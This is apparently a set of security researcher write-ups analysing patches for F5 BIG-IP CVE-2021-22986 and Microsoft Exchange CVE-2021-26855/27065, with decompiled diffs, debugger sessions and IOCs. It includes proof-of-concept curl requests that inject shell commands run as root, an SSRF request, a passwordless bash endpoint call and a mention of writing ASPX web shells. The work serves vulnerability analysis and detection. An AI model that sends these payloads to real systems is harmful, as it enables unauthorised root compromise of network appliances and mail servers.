[snip] + private static final Pattern validFilePathChars = Pattern.compile("(^[a-zA-Z][a-zA-Z0-9_.\\-\\s()]*)\\.([tT][aA][rR]\\.[gG][zZ])$"); [snip] private void validateGzipBundle(final IAppBundleInstallTaskState taskState) { if (Utilities.isNullOrEmpty(taskState.filePath)) { File agcUseCasePackDir = new File("/var/apm/f5-iappslx-agc-usecase-pack/"); if (!agcUseCasePackDir.exists() || !agcUseCasePackDir.isDirectory()) { String error = "Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack."; failTask(taskState, error, ""); return; } File[] agcUseCasePack = agcUseCasePackDir.listFiles(); if (agcUseCasePack == null || agcUseCasePack.length == 0 || !agcUseCasePack[0].isFile()) { String error = "Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack."; failTask(taskState, error, ""); return; } taskState.filePath = agcUseCasePack[0].getPath(); } + String filename = taskState.filePath.substring(taskState.filePath.lastIndexOf('/') + 1); + Matcher m = validFilePathChars.matcher(filename); + if (!m.matches()) { + String errorMessage = String.format("Access Guided Configuration use case pack validation failed: the file name %s must begin with alphabet, and only contain letters, numbers, spaces and/or special characters (underscore (_), period (.), hyphen (-) and round brackets ()). Only a .tar.gz file is allowed", new Object[] { filename }); + + + + failTask(taskState, errorMessage, ""); + + return; + } final String extractTarCommand = "tar -xf " + taskState.filePath + " -O > /dev/null"; ShellExecutor extractTar = new ShellExecutor(extractTarCommand); CompletionHandler<ShellExecutionResult> executionFinishedHandler = new CompletionHandler<ShellExecutionResult>() { public void completed(ShellExecutionResult extractQueryResult) { if (extractQueryResult.getExitStatus().intValue() != 0) { String error = extractTarCommand + " failed with exit code=" + extractQueryResult.getExitStatus(); IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, "Usecase pack validation failed. Please ensure that usecase pack is a valid tar archive.", error + "stdout + stderr=" + extractQueryResult.getOutput()); return; } taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.QUERY_INSTALLED_RPM; IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState); } public void failed(Exception ex, ShellExecutionResult rpmQueryResult) { IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, "Usecase pack validation failed. Please ensure that usecase pack is a valid tar archive.", String.format("%s failed", new Object[] { this.val$extractTarCommand }) + RestHelper.throwableStackToString(ex)); } }; extractTar.startExecution(executionFinishedHandler); } [snip]
PoC
The affected endpoint is /mgmt/tm/access/bundle-install-tasks.
wvu@kharak:~$ curl -ksu admin:[redacted] https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '{"filePath":"`id`"}' | jq .
{
"filePath": "`id`",
"toBeInstalledAppRpmsIndex": -1,
"id": "36671f83-d1be-4f5a-a2e6-7f9442a2a76f",
"status": "CREATED",
"userReference": {
"link": "https://localhost/mgmt/shared/authz/users/admin"
},
"identityReferences": [
{
"link": "https://localhost/mgmt/shared/authz/users/admin"
}
],
"ownerMachineId": "ac2562f0-e41f-4652-ba35-6a2b804b235e",
"generation": 1,
"lastUpdateMicros": 1615930477819656,
"kind": "tm:access:bundle-install-tasks:iappbundleinstalltaskstate",
"selfLink": "https://localhost/mgmt/tm/access/bundle-install-tasks/36671f83-d1be-4f5a-a2e6-7f9442a2a76f"
}
wvu@kharak:~$
The id(1) command is executed as root.
[pid 64748] execve("/bin/tar", ["tar", "-xf", "uid=0(root)", "gid=0(root)", "groups=0(root)", "context=system_u:system_r:initrc_t:s0", "-O"], [/* 9 vars */]) = 0
IOCs
An error may be seen in /var/log/restjavad.0.log. This log file is rotated.
[SEVERE][10029][16 Mar 2021 21:34:37 UTC][8100/tm/access/bundle-install-tasks IAppBundleInstallTaskCollectionWorker] Usecase pack validation failed. Please ensure that usecase pack is a valid tar archive. error details: tar -xf `id` -O > /dev/null failedorg.apache.commons.exec.ExecuteException: Process exited with an error: 2 (Exit value: 2) at org.apache.commons.exec.DefaultExecutor.executeInternal(DefaultExecutor.java:404) at org.apache.commons.exec.DefaultExecutor.access$200(DefaultExecutor.java:48) at org.apache.commons.exec.DefaultExecutor$1.run(DefaultExecutor.java:200) at java.lang.Thread.run(Thread.java:748)
SSRF?
Apache on port 443 talks to restjavad on port 8100, which spawns and talks to /usr/bin/icrd_child on an ephemeral port.
Patch
Validation is applied to the user-controlled state.loginReference.link parameter.
[snip]
protected void onPost(final RestOperation request) {
final String incomingAddress = request.getRemoteSender();
final AuthnWorkerState state = (AuthnWorkerState)request.getTypedBody(AuthnWorkerState.class);
AuthProviderLoginState loginState = (AuthProviderLoginState)request.getTypedBody(AuthProviderLoginState.class);
- if (state.password == null && state.bigipAuthCookie == null) {
+ if (Utilities.isNullOrEmpty(state.password) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) {
state.bigipAuthCookie = request.getCookie("BIGIPAuthCookie");
loginState.bigipAuthCookie = state.bigipAuthCookie;
}
if (incomingAddress != null && incomingAddress != "Unknown") {
loginState.address = incomingAddress;
}
- if ((state.username == null || state.password == null) && state.bigipAuthCookie == null) {
+ if ((Utilities.isNullOrEmpty(state.username) || Utilities.isNullOrEmpty(state.password)) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) {
+
request.setStatusCode(401);
String msg = String.format("username and password must not be null or %s in Cookie header should be used.", new Object[] { "BIGIPAuthCookie" });
request.fail(new SecurityException(msg));
+
return;
}
+ boolean isAllowedLinks = false;
+
+
+
+
+
+
+
+ if (state.loginReference != null && state.loginReference.link != null) {
+
+ for (URI iter : this.subscriptions.keySet()) {
+ if (state.loginReference.link.getPath().equals(iter.getPath())) {
+ isAllowedLinks = true;
+ break;
+ }
+ }
+ if (!isAllowedLinks) {
+ getLogger().severe("No login provider found.");
+ String msg = String.format("No login provider found.", new Object[0]);
+ request.fail(new SecurityException(msg));
+
+ return;
+ }
+ }
+
state.password = null;
request.setBody(state);
if (state.loginReference == null) {
if (state.loginProviderName == null) {
ExecutorService executorService = Executors.newSingleThreadExecutor();
Callable<String> callable = new Callable<String>()
{
public String call() throws Exception {
final String[] providerName = { null };
RestRequestCompletion getAuthSourceTypeCompletion = new RestRequestCompletion()
{
public void completed(RestOperation response) {
AuthSourceState sourceState = (AuthSourceState)response.getTypedBody(AuthSourceState.class);
if ("local".equals(sourceState.type)) {
providerName[0] = "local";
} else {
providerName[0] = "tmos";
}
}
public void failed(Exception ex, RestOperation response) {
request.fail(ex);
}
};
AuthzHelper.getAuthSource(AuthnWorker.this.getServer(), getAuthSourceTypeCompletion);
try {
int remainingSleepTime = 800, numberOfAttempts = 0;
int multiplier = 1; numberOfAttempts = 1;
for (; providerName[0] == null;
multiplier *= 2, numberOfAttempts++) {
TimeUnit.MILLISECONDS.sleep((10 * multiplier));
remainingSleepTime -= 10 * multiplier;
if (providerName[0] != null || numberOfAttempts == 5) {
break;
}
}
while (providerName[0] == null) {
TimeUnit.MILLISECONDS.sleep(50L);
remainingSleepTime -= 50;
}
AuthnWorker.this.getLogger().fine("Total Time taken to set the loginProviderName is " + (800 - remainingSleepTime) + "ms");
} catch (InterruptedException e) {
AuthnWorker.this.getLogger().severe("Error while setting value to loginProviderName when no loginReference and no loginProviderName were given");
}
return providerName[0];
}
};
Future<String> future = executorService.submit(callable);
try {
state.loginProviderName = future.get(800L, TimeUnit.MILLISECONDS);
executorService.shutdown();
} catch (TimeoutException e) {
getLogger().severe("Maximum wait time(800ms) exceeded while getting value of loginProviderName");
future.cancel(true);
if (!executorService.isShutdown()) {
executorService.shutdown();
}
} catch (CancellationException|java.util.concurrent.ExecutionException|InterruptedException e) {
getLogger().severe("Error while getting value of loginProviderName:" + RestHelper.throwableStackToString(e));
if (!executorService.isShutdown()) {
executorService.shutdown();
}
}
getLogger().fineFmt("loginProviderName set to %s as default value, based on authentication source type when it was null", new Object[] { state.loginProviderName });
}
if (state.loginProviderName != null) {
if (state.loginProviderName.equals("local")) {
state.loginReference = new RestReference(makePublicUri(LocalAuthLoginWorker.WORKER_URI_PATH));
}
else if (this.loginNameToReferenceMap.containsKey(state.loginProviderName)) {
state.loginReference = this.loginNameToReferenceMap.get(state.loginProviderName);
} else {
request.fail(new IllegalArgumentException("loginProviderName is invalid."));
return;
}
} else {
request.fail(new IllegalArgumentException("loginProviderName is null."));
return;
}
}
final String failureKey = String.format("%s:%s", new Object[] { (state.username == null) ? state.bigipAuthCookie : state.username, state.loginReference.link });
LoginFailures failures = this.loginFailureMap.get(failureKey);
if (failures != null && failures.failures >= 5) {
if (RestHelper.getNowMicrosUtc() - failures.lastFailureMicros < FAILED_ATTEMPTS_TIMEOUT) {
request.setStatusCode(401);
request.fail(new SecurityException("Maximum number of login attempts exceeded."));
return;
}
this.loginFailureMap.remove(failureKey);
}
RestRequestCompletion authCompletion = new RestRequestCompletion()
{
public void failed(Exception ex, RestOperation operation)
{
String loginProviderId = (state.loginProviderName == null) ? state.loginReference.link.toString() : state.loginProviderName;
String clientId = (state.username == null) ? ("Cookie " + state.bigipAuthCookie) : ("User " + state.username);
AuthnWorker.this.getLogger().infoFmt("%s failed to login from %s using the %s authentication provider", new Object[] { clientId, this.val$incomingAddress, loginProviderId });
AuthnWorker.LoginFailures failures = (AuthnWorker.LoginFailures)AuthnWorker.this.loginFailureMap.get(failureKey);
if (failures == null) {
failures = new AuthnWorker.LoginFailures();
AuthnWorker.this.loginFailureMap.put(failureKey, failures);
}
failures.lastFailureMicros = RestHelper.getNowMicrosUtc();
failures.failures++;
request.setStatusCode(401);
if (ex.getMessage() == null || ex.getMessage().isEmpty()) {
request.fail(ex, RestErrorResponse.create().setMessage("Unable to login using supplied information. If you are attempting to login with a configured authentication provider it may be unavailable or no longer exist."));
return;
}
request.fail(ex);
}
public void completed(RestOperation operation) {
AuthnWorker.this.loginFailureMap.remove(failureKey);
AuthProviderLoginState loggedIn = (AuthProviderLoginState)operation.getTypedBody(AuthProviderLoginState.class);
String authProviderId = loggedIn.authProviderName;
if (authProviderId == null) {
authProviderId = (state.loginProviderName == null) ? state.loginReference.link.toString() : state.loginProviderName;
}
AuthnWorker.this.getLogger().finestFmt("User %s successfully logged in from %s using the %s authentication provider.", new Object[] { loggedIn.username, this.val$incomingAddress, authProviderId });
AuthnWorker.generateToken(AuthnWorker.this.getServer(), request, state, loggedIn);
}
};
RestOperation checkAuth = RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReference.link)).setCompletion(authCompletion);
sendPost(checkAuth);
}
[snip]
Also interesting is the defensive programming added to basic auth. I tested this first for auth bypass but wasn’t successful. It is by no means a dead end, since I haven’t actually analyzed the code path yet.
[snip] - private static boolean setIdentityFromBasicAuth(RestOperation request) { + + + private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) { String authHeader = request.getBasicAuthorization(); if (authHeader == null) { return false; } - AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader); - request.setIdentityData(components.userName, null, null); + final AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader); + + + + + + String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host"); + + + + if (xForwardedHostHeaderValue == null) { + request.setIdentityData(components.userName, null, null); + if (runnable != null) { + runnable.run(); + } + return true; + } + + + + String[] valueList = xForwardedHostHeaderValue.split(", "); + int valueIdx = (valueList.length > 1) ? (valueList.length - 1) : 0; + if (valueList[valueIdx].contains("localhost") || valueList[valueIdx].contains("127.0.0.1")) { + + request.setIdentityData(components.userName, null, null); + if (runnable != null) { + runnable.run(); + } + return true; + } + + + if (!PasswordUtil.isPasswordReset().booleanValue()) { + request.setIdentityData(components.userName, null, null); + if (runnable != null) { + runnable.run(); + } + return true; + } + + AuthProviderLoginState loginState = new AuthProviderLoginState(); + loginState.username = components.userName; + loginState.password = components.password; + loginState.address = request.getRemoteSender(); + RestRequestCompletion authCompletion = new RestRequestCompletion() + { + public void completed(RestOperation subRequest) { + request.setIdentityData(components.userName, null, null); + if (runnable != null) { + runnable.run(); + } + } + + + public void failed(Exception ex, RestOperation subRequest) { + RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[] { ex.getMessage() }); + if (ex.getMessage().contains("Password expired")) { + request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION)); + } + if (runnable != null) { + runnable.run(); + } + } + }; + + try { + RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), null)).setCompletion(authCompletion); + + + RestRequestSender.sendPost(subRequest); + } catch (URISyntaxException e) { + LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[] { e.getMessage() }); + } return true; } } [snip]
PoC
The affected endpoint is /mgmt/shared/authn/login.
wvu@kharak:~$ curl -ks https://192.168.123.134/mgmt/shared/authn/login -d '{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}' | jq .
{
"code": 400,
"message": "request failed with null exception",
"referer": "192.168.123.1",
"restOperationId": 4483409,
"kind": ":resterrorresponse"
}
wvu@kharak:~$
The filePath parameter is cleared from the request, rendering the RCE endpoint unusable with the SSRF. ETA: Other researchers noted this (quickly!) in a Twitter thread, and I have confirmed that their findings match mine.
[pid 70562] execve("/bin/tar", ["tar", "-xvf", "/var/apm/f5-iappslx-agc-usecase-pack/f5-iappslx-agc-usecase-pack-7.0-0.0.1481.tar.gz", "--directory", "/var/config/rest/downloads/"], [/* 9 vars */]) = 0
IOCs
Errors may be seen in /var/log/restjavad.0.log. This log file is rotated. Log level can be adjusted in /etc/restjavad.log.conf.
[F][11000][16 Mar 2021 21:41:58 UTC][8100/shared/authn/login AuthnWorker] User null successfully logged in from 192.168.123.1 using the http://localhost/mgmt/tm/access/bundle-install-tasks authentication provider. [F][11014][16 Mar 2021 21:41:58 UTC][RestOperation] Cleared the request content for key originalRequestBody [WARNING][11019][16 Mar 2021 21:41:58 UTC][RestOperation] Unable to generate error body for POST http://localhost:8100/shared/authz/tokens 400: java.util.ConcurrentModificationException at com.google.gson.internal.LinkedTreeMap$LinkedTreeMapIterator.nextNode(LinkedTreeMap.java:544) at com.google.gson.internal.LinkedTreeMap$EntrySet$1.next(LinkedTreeMap.java:568) at com.google.gson.internal.LinkedTreeMap$EntrySet$1.next(LinkedTreeMap.java:566) at com.f5.rest.common.RestOperation.fail(RestOperation.java:2458) at com.f5.rest.common.RestOperation.fail(RestOperation.java:2406) at com.f5.rest.workers.AuthTokenWorker.addOrUpdateAuthToken(AuthTokenWorker.java:337) at com.f5.rest.workers.AuthTokenWorker.onPost(AuthTokenWorker.java:291) at com.f5.rest.common.RestCollectionWorker.callDerivedRestMethod(RestCollectionWorker.java:937) at com.f5.rest.common.RestWorker.callRestMethodHandler(RestWorker.java:1190) at com.f5.rest.common.RestServer.processQueuedRequests(RestServer.java:1207) at com.f5.rest.common.RestServer.access$000(RestServer.java:44) at com.f5.rest.common.RestServer$1.run(RestServer.java:285) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:473) at java.util.concurrent.FutureTask.run(FutureTask.java:262) at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:178) at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:292) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:748) [F][11023][16 Mar 2021 21:41:58 UTC][RestOperation] Cleared the request content for key originalRequestBody [WARNING][11026][16 Mar 2021 21:41:58 UTC][RestOperation] Unable to generate error body for POST http://localhost:8100/shared/authn/login 400: java.util.ConcurrentModificationException at com.google.gson.internal.LinkedTreeMap$LinkedTreeMapIterator.nextNode(LinkedTreeMap.java:544) at com.google.gson.internal.LinkedTreeMap$EntrySet$1.next(LinkedTreeMap.java:568) at com.google.gson.internal.LinkedTreeMap$EntrySet$1.next(LinkedTreeMap.java:566) at com.f5.rest.common.RestOperation.fail(RestOperation.java:2458) at com.f5.rest.common.RestOperation.fail(RestOperation.java:2406) at com.f5.rest.workers.authn.AuthnWorker$8.failed(AuthnWorker.java:533) at com.f5.rest.workers.authn.AuthnWorker$8.failed(AuthnWorker.java:529) at com.f5.rest.common.RestOperation.fail(RestOperation.java:2486) at com.f5.rest.common.RestOperation.fail(RestOperation.java:2406) at com.f5.rest.common.RestWorker$5.failed(RestWorker.java:865) at com.f5.rest.common.RestWorker$5.failed(RestWorker.java:850) at com.f5.rest.common.RestOperation.fail(RestOperation.java:2486) at com.f5.rest.common.RestOperation.fail(RestOperation.java:2406) at com.f5.rest.workers.AuthTokenWorker.addOrUpdateAuthToken(AuthTokenWorker.java:337) at com.f5.rest.workers.AuthTokenWorker.onPost(AuthTokenWorker.java:291) at com.f5.rest.common.RestCollectionWorker.callDerivedRestMethod(RestCollectionWorker.java:937) at com.f5.rest.common.RestWorker.callRestMethodHandler(RestWorker.java:1190) at com.f5.rest.common.RestServer.processQueuedRequests(RestServer.java:1207) at com.f5.rest.common.RestServer.access$000(RestServer.java:44) at com.f5.rest.common.RestServer$1.run(RestServer.java:285) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:473) at java.util.concurrent.FutureTask.run(FutureTask.java:262) at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:178) at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:292) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:748)
Note the “successful” login from user null, which indicates token generation was triggered. I decided to pursue this vector after my failure with the RCE endpoint.
Analysis
This is what you really came here for. ;)
Debugging
A long JDB session in which request parameter clearing is demonstrated.
Breakpoint hit: "thread=qtp12784804-16 - /mgmt/shared/authn/login", com.f5.rest.common.RestOperationIdentifier.setIdentityFromBasicAuth(), line=245 bci=11
245 AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
qtp12784804-16 - /mgmt/shared/authn/login[1] where
[1] com.f5.rest.common.RestOperationIdentifier.setIdentityFromBasicAuth (RestOperationIdentifier.java:245)
[2] com.f5.rest.common.RestOperationIdentifier.setIdentityFromAuthenticationData (RestOperationIdentifier.java:52)
[3] com.f5.rest.app.RestServerServlet$ReadListenerImpl.onAllDataRead (RestServerServlet.java:136)
[4] org.eclipse.jetty.server.HttpInput.run (HttpInput.java:443)
[5] org.eclipse.jetty.server.handler.ContextHandler.handle (ContextHandler.java:1,175)
[6] org.eclipse.jetty.server.HttpChannel.handle (HttpChannel.java:355)
[7] org.eclipse.jetty.server.HttpChannel.run (HttpChannel.java:262)
[8] org.eclipse.jetty.util.thread.QueuedThreadPool.runJob (QueuedThreadPool.java:635)
[9] org.eclipse.jetty.util.thread.QueuedThreadPool$3.run (QueuedThreadPool.java:555)
[10] java.lang.Thread.run (Thread.java:748)
qtp12784804-16 - /mgmt/shared/authn/login[1] list
241 String authHeader = request.getBasicAuthorization();
242 if (authHeader == null) {
243 return false;
244 }
245 => AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
246 request.setIdentityData(components.userName, null, null);
247 return true;
248 }
249 }
qtp12784804-16 - /mgmt/shared/authn/login[1] print authHeader
authHeader = "Og=="
qtp12784804-16 - /mgmt/shared/authn/login[1] next
>
Step completed: "thread=qtp12784804-16 - /mgmt/shared/authn/login", com.f5.rest.common.RestOperationIdentifier.setIdentityFromBasicAuth(), line=246 bci=16
246 request.setIdentityData(components.userName, null, null);
qtp12784804-16 - /mgmt/shared/authn/login[1] dump components
components = {
userName: null
password: null
}
qtp12784804-16 - /mgmt/shared/authn/login[1] cont
>
Breakpoint hit: "thread=Non-Blocking threadPool_4", com.f5.rest.workers.authn.AuthnWorker.onPost(), line=341 bci=141
341 request.setBody(state);
Non-Blocking threadPool_4[1] where
[1] com.f5.rest.workers.authn.AuthnWorker.onPost (AuthnWorker.java:341)
[2] com.f5.rest.common.RestWorker.callDerivedRestMethod (RestWorker.java:1,276)
[3] com.f5.rest.common.RestWorker.callRestMethodHandler (RestWorker.java:1,190)
[4] com.f5.rest.common.RestServer.processQueuedRequests (RestServer.java:1,207)
[5] com.f5.rest.common.RestServer.access$000 (RestServer.java:44)
[6] com.f5.rest.common.RestServer$1.run (RestServer.java:285)
[7] java.util.concurrent.Executors$RunnableAdapter.call (Executors.java:473)
[8] java.util.concurrent.FutureTask.run (FutureTask.java:262)
[9] java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201 (ScheduledThreadPoolExecutor.java:178)
[10] java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run (ScheduledThreadPoolExecutor.java:292)
[11] java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1,152)
[12] java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:622)
[13] java.lang.Thread.run (Thread.java:748)
Non-Blocking threadPool_4[1] list
337 return;
338 }
339
340 state.password = null;
341 => request.setBody(state);
342
343
344
345 if (state.loginReference == null) {
346 if (state.loginProviderName == null) {
Non-Blocking threadPool_4[1] print request
request = "[
id=6146169
referer=192.168.123.1
uri=http://localhost:8100/shared/authn/login
method=POST
statusCode=200
contentType=application/x-www-form-urlencoded
contentLength=121
contentRange=null
deadline=Tue Mar 16 15:14:01 PDT 2021
body={"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}
forceSocket=false
isResponse=false
retriesRemaining=5
coordinationId=null
isConnectionCloseRequested=false
isConnectionKeepAlive=true
isRestErrorResponseRequired=true
AdditionalHeadersAsString=
Request: 'Local-Ip-From-Httpd'='192.168.123.134'
'X-Forwarded-Proto'='http'
'X-Forwarded-Server'='localhost.localdomain'
'X-F5-New-Authtok-Reqd'='false'
'X-Forwarded-Host'='192.168.123.134'
Response:<empty>
ResponseHeadersTrace=
X-F5-Config-Api-Status=0]"
Non-Blocking threadPool_4[1] next
>
Step completed: "thread=Non-Blocking threadPool_4", com.f5.rest.workers.authn.AuthnWorker.onPost(), line=345 bci=147
345 if (state.loginReference == null) {
Non-Blocking threadPool_4[1] print request
request = "[
id=6146169
referer=192.168.123.1
uri=http://localhost:8100/shared/authn/login
method=POST
statusCode=200
contentType=application/json
contentLength=139
contentRange=null
deadline=Tue Mar 16 15:14:01 PDT 2021
body={"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"generation":0,"lastUpdateMicros":0}
forceSocket=false
isResponse=false
retriesRemaining=5
coordinationId=null
isConnectionCloseRequested=false
isConnectionKeepAlive=true
isRestErrorResponseRequired=true
AdditionalHeadersAsString=
Request: 'Local-Ip-From-Httpd'='192.168.123.134'
'X-Forwarded-Proto'='http'
'X-Forwarded-Server'='localhost.localdomain'
'X-F5-New-Authtok-Reqd'='false'
'X-Forwarded-Host'='192.168.123.134'
Response:<empty>
ResponseHeadersTrace=
X-F5-Config-Api-Status=0]"
Non-Blocking threadPool_4[1] cont
>
Breakpoint hit: "thread=Non-Blocking threadPool_4", com.f5.rest.workers.authn.AuthnWorker.onPost(), line=506 bci=600
506 sendPost(checkAuth);
Non-Blocking threadPool_4[1] list
502
503 RestOperation checkAuth = RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReference.link)).setCompletion(authCompletion);
504
505
506 => sendPost(checkAuth);
507 }
508
509
510
511
Non-Blocking threadPool_4[1] print checkAuth
checkAuth = "[
id=6146236
referer=null
uri=http://localhost:8100/tm/access/bundle-install-tasks
method=null
statusCode=200
contentType=application/json
contentLength=84
contentRange=null
deadline=Tue Mar 16 15:14:47 PDT 2021
body={"address":"192.168.123.1","bigipAuthCookie":"","generation":0,"lastUpdateMicros":0}
forceSocket=false
isResponse=false
retriesRemaining=5
coordinationId=null
isConnectionCloseRequested=false
isConnectionKeepAlive=true
isRestErrorResponseRequired=true
AdditionalHeadersAsString=
Request:<empty> Response:<empty>
ResponseHeadersTrace=
X-F5-Config-Api-Status=0]"
Non-Blocking threadPool_4[1] cont
>
Parameter allowlist
Allowed parameters are in the com.f5.rest.workers.authn.providers.AuthProviderLoginState class.
package com.f5.rest.workers.authn.providers; import com.f5.rest.common.RestReference; import com.f5.rest.common.RestWorkerState; import java.util.List; public class AuthProviderLoginState extends RestWorkerState { public String username; public String password; public String address; public String bigipAuthCookie; public String authProviderName; public RestReference userReference; public List<RestReference> groupReferences; }
This significantly limits the power of the SSRF, unfortunately. However, the fraudulent token generation should be investigated further. I have yet to find an endpoint that will respond affirmatively to the token generation. ETA: See the RCE update at the bottom of the page. Rich found a usable endpoint.
No password?
I actually found this early on but didn’t document it yet. Local requests to restjavad or /usr/bin/icrd_child don’t require a password…
[root@localhost:NO LICENSE:Standalone] ~ # curl -su admin: -H "Content-Type: application/json" http://localhost:8100/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}' | jq .
{
"kind": "tm:util:bash:runstate",
"command": "run",
"utilCmdArgs": "-c id",
"commandResult": "uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"
}
[root@localhost:NO LICENSE:Standalone] ~ #
This formed the basis for most of my SSRF attempts until I saw the parameter allowlist and noticed my Authorization header wasn’t being passed through. :<
RCE update
Rich Warren has produced a full RCE chain using the SSRF! ETA: I tested 10% of the registered endpoints and discovered no fewer than 15 that were chainable to full RCE. This concludes my investigation of CVE-2021-22986. Thank you to F5 SIRT for being wonderful to work with, and many thanks to Rich for being a great collaborator!
3
Forgot I analyzed this. The patch:
- private static final List<String> BLACKLIST_FROM_DIV = Arrays.asList(new String[] { "onclick", "ondblclick", "onmousedown", "onmouseup", "onmouseover", "onmousemove", "onmouseout", "onkeypress", "onkeydown", "onkeyup" }); + private static final List<String> BLACKLIST_KEYWORDS = Arrays.asList(new String[] { "onclick", "ondblclick", "onmousedown", "onmouseup", "onmouseover", "onmousemove", "onmouseout", "onkeypress", "onkeydown", "onkeyup" });
private boolean isSafeBody(String body) {
int idx = body.indexOf("\"directiveOption\":");
while (idx != -1) {
body = body.substring(idx);
String str_pattern = "(?<!\\\\)\"";
Pattern p = Pattern.compile(str_pattern);
Matcher m = p.matcher(body);
int idx_opts_end = 0;
for (int i = 0; i < 4; i++) {
if (m.find()) {
idx_opts_end = m.start();
} else {
return true;
}
}
String opts = body.substring(0, idx_opts_end + 1);
ArrayList<String> parts = new ArrayList<>(Arrays.asList(opts.split(" ")));
for (String part : parts) {
- String[] key_value = part.split("=");
- String key = key_value[0];
- for (String keyword : BLACKLIST_FROM_DIV) {
- if (key.equals(keyword))
+ for (String keyword : BLACKLIST_KEYWORDS) {
+ if (part.contains(keyword))
return false;
}
}
body = body.substring(idx_opts_end);
idx = body.indexOf("\"directiveOption\":");
}
return true;
}
Think it was com/f5/tmui/dashboard/Manager.java. Endpoint should be /tmui/dashboard/manager.jsp. FYI, it took 15 minutes. Cheers!
3
Technical Analysis
When used with CVE-2021-26855, an unauthenticated SSRF, CVE-2021-27065 yields unauthed, SYSTEM-level RCE against a vulnerable Exchange Server. On its own, exploiting this vulnerability requires access to the EAC/ECP interface, which is a privileged and authenticated web interface.
I was able to identify the relevant endpoints a few days ago using a combination of patch analysis and manual testing, and I successfully wrote an arbitrary file (sans SSRF) to the target’s filesystem (UNC path). Ironically, I was looking at the virtual directory settings for EWS, but “OAB” caught my eye due to its published IOCs. (OAB is Microsoft’s implementation of offline address books in Exchange.)
Writing an ASPX shell is the easiest way to achieve RCE using CVE-2021-27065, so make sure to look for filesystem IOCs. These IOCs are well-documented by Microsoft and other entities. Bear in mind that attackers will try to use clever or randomized filenames to evade detection.
2
Technical Analysis
CVE-2021-26855
CVE-2021-26855 is an SSRF vulnerability in Exchange that allows privileged access to Exchange’s backend resources, ultimately leading to pre-auth RCE when combined with CVEs such as CVE-2021-27065.
Microsoft’s (Nmap) NSE script
Conveniently disclosed in Microsoft’s alternative mitigations, this script provides an easily reproducible PoC for CVE-2021-26855. My findings below are reflective of that.
wvu@kharak:~/Downloads$ ls http-vuln-cve2021-26855.nse wvu@kharak:~/Downloads$ nmap -Pn -T4 -n -v -p 443 --open --script http-vuln-cve2021-26855 192.168.123.183 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-09 00:50 CST NSE: Loaded 1 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 00:50 Completed NSE at 00:50, 0.00s elapsed Initiating Connect Scan at 00:50 Scanning 192.168.123.183 [1 port] Discovered open port 443/tcp on 192.168.123.183 Completed Connect Scan at 00:50, 0.00s elapsed (1 total ports) NSE: Script scanning 192.168.123.183. Initiating NSE at 00:50 Completed NSE at 00:50, 0.02s elapsed Nmap scan report for 192.168.123.183 Host is up (0.00064s latency). PORT STATE SERVICE 443/tcp open https | http-vuln-cve2021-26855: | VULNERABLE: | Exchange Server SSRF Vulnerability | State: VULNERABLE | IDs: CVE:CVE-2021-26855 | Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010 are vulnerable to a SSRF via the X-AnonResource-Backend and X-BEResource cookies. | | Disclosure date: 2021-03-02 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855 |_ 